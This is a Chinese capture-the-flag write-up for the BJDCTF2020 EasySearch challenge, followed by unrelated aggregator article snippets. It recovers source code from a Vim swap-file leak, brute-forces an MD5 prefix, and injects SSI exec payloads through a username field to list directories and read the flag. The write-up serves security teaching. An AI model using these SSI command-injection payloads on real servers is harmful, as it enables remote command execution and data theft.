[BJDCTF2020]EasySearch1

知識點:

? ? ? ? 1.swp泄露

? ? ? ? 2.md5碰撞

? ? ? ? 3.PHP代碼審計

? ? ? ? 4.SSI代碼執行漏洞? //?Apache SSI 遠程命令執行漏洞復現

看著像sql注入,不過注入無果,掃一下目錄試試~

發現是swp泄露.

SWP文件泄露漏洞是指在使用 Vim編輯器 編輯一個文件時,Vim會在同一目錄下創建一個以".swp"結尾的臨時文件來保存編輯過程中的變化,如果在編輯過程中Vim進程被意外終止或者用戶沒有正確地退出Vim,那么這個臨時文件可能會被留下來,如果攻擊者能夠訪問這個臨時文件就可以獲得原始文件的敏感信息,從而導致信息泄露,需要注意的是不同的操作失敗次數將會導致產生不同后綴的交互文件,例如:index.php第一次產生的交換文件名為.index.php.swp,再次意外退出后將會產生名為.index.php.swo的交換文件,第三次產生的交換文件則為.index.php.swn?

開始代碼審計~?

<?phpob_start();function get_hash(){$chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789!@#$%^&*()+-';$random = $chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)];//Random 5 times$content = uniqid().$random;return sha1($content); }// 設置響應的Content-Type頭部信息為text/html,并指定字符編碼為utf-8header("Content-Type: text/html;charset=utf-8");//檢查用戶是否提交了表單且username字段不為空if(isset($_POST['username']) and $_POST['username'] != '' ){$admin = '6d0bc1';// 驗證用戶密碼是否匹配管理員密碼if ( $admin == substr(md5($_POST['password']),0,6)) {echo "<script>alert('[+] Welcome to manage system')</script>"; // 輸出歡迎消息// 創建一個以生成的哈希值為文件名的.shtml文件$file_shtml = "public/".get_hash().".shtml";// 打開文件用于寫入,如果打開失敗則輸出錯誤信息并終止腳本執行$shtml = fopen($file_shtml, "w") or die("Unable to open file!");$text = '******<h1>Hello,'.$_POST['username'].'</h1>******'; // 組裝要寫入文件的內容// 將內容寫入文件fwrite($shtml,$text);// 關閉文件fclose($shtml);***echo "[!] Header  error ..."; // 輸出錯誤消息} else {echo "<script>alert('[!] Failed')</script>"; // 輸出驗證失敗消息}} else {// 如果用戶名為空,則執行此部分邏輯***}***
?>

意思就是他會檢查傳入的password的值,如果password的md5值的前6位等于6d0bc1那就就會執行命令將輸入的username寫入到一個隨機數生成的shtml文件中,并輸入header error 的錯誤信息。

我們我們首先要做的就是使password符合要求,可以使用如下python代碼來找出符合要求的password.

from hashlib import md5for i in range(10000000):if md5(str(i).encode('utf-8')).hexdigest()[:6] == '6d0bc1':print(i)

執行結果如下~

繞過md5后,我們繼續分析~

繞過md5后,他將我們傳入的username寫入到了shtml文件里面.

知識點:

當目標服務器開啟了SSI與CGI支持,我們就可以上傳shtml,利用<!--#exec cmd=”id” -->語法執行命令。

SSI 是一種在 HTML 頁面中嵌入服務器端腳本的技術,允許在服務器將頁面發送給客戶端之前,動態地生成內容。它主要用于在頁面中包含其他文件的內容,或者執行一些簡單的服務器端邏輯(如設置日期和時間)。

SSI 的?exec?命令可以執行服務器上的命令,但它的使用受到嚴格限制,主要是因為安全原因。大多數服務器配置中,exec?命令是被禁用的,或者僅限于具有特定權限的用戶或目錄。此外,即使?exec?被啟用,它也通常不會直接暴露給普通用戶或不受信任的上傳目錄。

意思就是 username是個注入點,我們可以控制username的內容來實現遠程代碼執行漏洞.

而username的格式是<!--#exec cmd=”id” -->.

那么讓我們開始構造payload.

http://4a82f262-3696-46d7-b36f-d6072db967d8.node5.buuoj.cn:81/username=<!--#exec cmd="ls ../"--> & password=2020666

這里提示header error 那么看一下~

發現了我們寫入的shtml文件的位置,去訪問一下.?

發現flag文件,重復上面的操作來讀取flag.

http://4a82f262-3696-46d7-b36f-d6072db967d8.node5.buuoj.cn:81/username=<!--#exec cmd="cat ../flag_990c66bf85a09c664f0b6741840499b2"--> & password=2020666

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/web/45040.shtml
繁體地址,請注明出處:http://hk.pswp.cn/web/45040.shtml
英文地址,請注明出處:http://en.pswp.cn/web/45040.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

codeforce 954 div3 G2題

思路&#xff1a; 質因子分解可以順著分解&#xff0c;也可以逆著分解 即找到每一個數字的倍數&#xff0c;再找到每一個數字的因數 const int N 5e510; vector<int> ff[N]; vector<int> f[N]; vector<int> g[N];void solve(){int n;cin>>n;vector&l…

OpenCV漫水填充函數floodFill函數的使用

操作系統&#xff1a;ubuntu22.04 OpenCV版本&#xff1a;OpenCV4.9 IDE:Visual Studio Code 編程語言&#xff1a;C11 功能描述 ffloodFill函數是OpenCV庫中用于圖像處理的一個功能&#xff0c;它用于填充與種子點顏色相近的連通區域。這個函數在很多場景下都非常有用&#x…

MUR2060CTR-ASEMI無人機專用MUR2060CTR

編輯&#xff1a;ll MUR2060CTR-ASEMI無人機專用MUR2060CTR 型號&#xff1a;MUR2060CTR 品牌&#xff1a;ASEMI 封裝&#xff1a;TO-220 批號&#xff1a;最新 最大平均正向電流&#xff08;IF&#xff09;&#xff1a;20A 最大循環峰值反向電壓&#xff08;VRRM&#…

【數據結構】線性表----隊列詳解

1. 隊列的基本概念 話不多說&#xff0c;直接開始&#xff01; 隊列是一種線性數據結構&#xff0c;同棧類似但又不同&#xff0c;遵循先進先出&#xff08;FIFO, First In First Out&#xff09;的原則。換句話說&#xff0c;最先進入隊列的元素會最先被移除。這樣的特點使得…

小白學python(第七天)

哈哈&#xff0c;這個系列的文章也有一段時間沒更新&#xff0c;主要是最近在忙c嘎嘎&#xff0c;不過沒事接下來會優先更python啦&#xff0c;那么我們先進入正題吧 函數的定義及調用 函數定義 格式&#xff1a;def 函數名&#xff08;形參列表&#xff09;&#xff1a; 語…

QTabWidget、QListWidget、QStackedWidget

The QTabWidget class provides a stack of tabbed widgets. More... The QListWidget class provides an item-based list widget. More... QStringList strlist;strlist<<"系統"<<"外觀"<<"截圖"<<"貼圖"…

.NET MAUI開源架構_4..NET MAUI 應用支持的平臺

可以針對以下平臺編寫 .NET Multi-platform App UI (.NET MAUI) 應用&#xff1a; 需要 Android 5.0 (API 21) 或更高版本。需要 iOS 11 或更高版本使用 Mac Catalyst 的 macOS 11 或更高版本。Windows 11 和 Windows 10 版本 1809 或更高版本&#xff0c;使用 Windows UI 庫 …

Java的高級特性

類的繼承 繼承是從已有的類中派生出新的類&#xff0c;新的類能擁有已有類的屬性和行為&#xff0c;并且可以拓展新的屬性和行為 public class 子類 extends 父類{子類類體 } 優點 代碼的復用 提高編碼效率 易于維護 使類與類產生關聯&#xff0c;是多態的前提 缺點 類缺乏獨…

c/c++ 打印調用棧

打印調用棧可以在程序出現死機的時候&#xff08;如出現 SIGABRT、SIGSEGV等一些信號錯誤&#xff09;是很有用的信息&#xff0c;有可能就不需要 core file 來協助排查問題了。通過 man backtrace 可以得到一個例子的源碼&#xff1a; #define SIZE 100 static void backTrac…

【機器學習-00】機器學習是什么?

在科技飛速發展的今天&#xff0c;機器學習已成為一個熱門話題&#xff0c;廣泛應用于各個行業和領域。那么&#xff0c;機器學習到底是什么&#xff1f;它又是如何工作的&#xff1f;本文將深入探討機器學習的定義、原理及其在各領域的應用&#xff0c;帶領讀者走進這個神秘而…

RedisTemplate 中序列化方式辨析

在Spring Data Redis中&#xff0c;RedisTemplate 是操作Redis的核心類&#xff0c;它提供了豐富的API來與Redis進行交互。由于Redis是一個鍵值存儲系統&#xff0c;它存儲的是字節序列&#xff0c;因此在使用RedisTemplate時&#xff0c;需要指定鍵&#xff08;Key&#xff09…

力扣題解( 等差數列劃分 II - 子序列)

446. 等差數列劃分 II - 子序列 給你一個整數數組 nums &#xff0c;返回 nums 中所有 等差子序列 的數目。 如果一個序列中 至少有三個元素 &#xff0c;并且任意兩個相鄰元素之差相同&#xff0c;則稱該序列為等差序列。 例如&#xff0c;[1, 3, 5, 7, 9]、[7, 7, 7, 7] 和…

Netgear WN604 downloadFile.php 信息泄露漏洞復現(CVE-2024-6646)

0x01 產品簡介 NETGEAR WN604是一款由NETGEAR(網件)公司生產的無線接入器(或無線路由器)提供Wi-Fi保護協議(WPA2-PSK, WPA-PSK),以及有線等效加密(WEP)64位、128位和152位支持,保障網絡安全。同時支持MAC地址認證、802.1x RADIUS以及EAP TLS、TTLS、PEAP等安全機制,…

Flat Ads:金融APP海外廣告投放素材的優化指南

在當今全球化的數字營銷環境中,金融APP的海外營銷推廣已成為眾多金融機構與開發者最為關注的環節之一。面對不同地域、文化及用戶習慣的挑戰,如何優化廣告素材,以吸引目標受眾的注意并促成有效轉化,成為了廣告主們亟待解決的問題。 作為領先的全球化營銷推廣平臺,Flat Ads憑借…

超簡易高效的 AI繪圖工具—與sd-webui一致界面,6G顯存最高提升75%出圖速率!(附安裝包)

大家好&#xff0c;我是靈魂畫師向陽 今天給大家分享一個基于Stable Diffusion WebUI 構建的AI繪圖工具—sd-webui-forge&#xff0c;該工具的目標在于簡化插件開發&#xff0c;優化資源管理&#xff0c;加速推理。 Forge承諾永遠不會對Stable Diffusion WebUI用戶界面添加不…

獲獎案例回顧|基于衛星遙感和無人機的水稻全流程風險減量項目

引言 在現代農業保險領域&#xff0c;技術創新是推動行業進步的關鍵。珈和科技與太平財險的合作&#xff0c;旨在利用先進的衛星遙感和無人機技術&#xff0c;解決傳統農業保險面臨的諸多挑戰&#xff0c;從而提升保險效率和服務質量。本次分享的項目案例獲得了《金融電子化》…

啟動yarn后,其他節點沒有NodeManager

寫在前面&#xff1a; 這個問題雖然折磨了我兩天&#xff0c;但是原因特別蠢&#xff0c;可能與各位不一定一樣&#xff0c;我是因為ResourceManager的節點的"/etc/hadoop/workers"文件沒有配置好&#xff08;沒有配hadoop102和hadoop104&#xff09;&#xff0c;但排…

數字圖像處理(實踐篇)四十八 PCA主成分分析降維與圖像重建

目錄 一 PCA 二 實踐 實踐① 實踐② 一 PCA 主成分分析(PCA)是一種常見的數據分析技術,它可以用于降維和特征提取。 PCA 的作用包括以下幾個方面: ①數據降維:PCA 可以將高維數據降維到低維空間中,從而方便后續的數據分析和可視化。可以將具有多個變量的數據集降維…

P1850換教室 題解(概率dp)

題目&#xff1a;https://www.luogu.com.cn/problem/P1850 思路&#xff1a; 概率dp,如果要求最小路徑期望&#xff0c;我們要確定的有選了幾節課&#xff0c;申請換了幾節課&#xff0c;最后一節是否申請換課&#xff08;下一次選課要知道上一次選課申請情況&#xff09;。 …

小白學webgl合集-三維數據源和格式

大多數地圖瓦片數據是二維的&#xff0c;三維效果通過渲染和樣式設置實現。主要的三維數據源和格式包括&#xff1a; 1. 3D Tiles (CesiumJS) 3D Tiles 是一種開放標準&#xff0c;用于流式傳輸和可視化大規模三維地理數據。它可以包含各種三維數據&#xff0c;如建筑物、點云…